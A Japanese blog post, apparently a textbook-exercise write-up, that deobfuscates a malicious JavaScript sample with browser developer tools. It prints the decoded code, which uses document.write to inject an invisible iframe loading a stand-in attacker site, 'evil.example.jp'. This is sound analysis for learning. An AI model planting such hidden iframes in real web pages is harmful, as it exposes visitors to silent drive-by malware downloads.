サイバーセキュリティモニタリング(ハニーポット編 2)

サイバーセキュリティモニタリング(ハニーポット編 1) - あしのあしあと」の続き。3 章の章末問題【2】をやる。「ハニーポット編 2」とは言いながら、この問題は、難読化の解除の問題。まぁよい。まずは、サンプルをとってくる。


なお、会社などでは、このサンプルを使わないでほしい。たぶん、ウイルス対策ソフトがうなる。zip ファイルをダウンロードしただけでうなるし、ファイル中の JavaScript を、テキストファイルに貼り付けて保存しただけでも、うなる。たいしたスクリプトでもないのに、うなる*1。単純な「パターンマッチング」で、うなっているのではないかと思う。
なので、以下では、一部のコードを省略し、攻撃者のサイトの URL を「http://evil.example.jp」に変更する。


さて、得られたサンプルを、普通に URL デコード(パーセントデコード)すると、次のようになる。それでも、配列 _0x13ea の要素は、まだ読みにくい。

<script>
    var _0x13ea=["\x3C\x64\x69\x76 … \x3C\x2F\x64\x69\x76\x3E","\x77\x72\x69\x74\x65"];
    document[_0x13ea[1]](_0x13ea[0]);
</script>

Google Chrome の「デベロッパーツール」を使って、console.log 関数に、難読化された箇所を渡してあげると、簡単に解除できる。

console.log('\x3C\x64\x69\x76 … \x3C\x2F\x64\x69\x76\x3E');
console.log('\x77\x72\x69\x74\x65');

結局、出てきたのは、次のスクリプト。ダサい。

document[write](
    <div style="position:absolute; top:-508px;">
        <iframe src="http://evil.example.jp"></iframe>
    </div>);

通常、オブジェクトのプロパティは「ドット(.)」演算子を用いる。しかし、「 [ ] 」演算子の中に、文字列として、プロパティ名を指定することもできる。いわゆる「連想配列」。
まぁつまり、実行される関数は、document.write 。この関数によって、iframe 要素が書きだされれ、src 属性にある攻撃者のサイトに、リクエストが送信される。マルウェアをダウンロードするためのリクエストだろう。被害者は、この iFrame によって、攻撃者の用意したコンテンツをロードしてしまう。悪いことに、この iFrame は、スタイルによって「top:-508px;」の場所に作成される。つまり、ブラウザの画面の一番上から、さらに 508 px も上に作成される。従って、被害者から、これらのやりとりは、全く見えない。
ということで、お終い。易しい問題でした。

*1:昔、社内のセキュリティ研修の資材を作っていた頃、XSSCSRF の攻撃スクリプトを作成したら、社内のウイルス対策ソフトにひっかかってしまい、対策デスクの方に迷惑をかけた。申し訳なかった。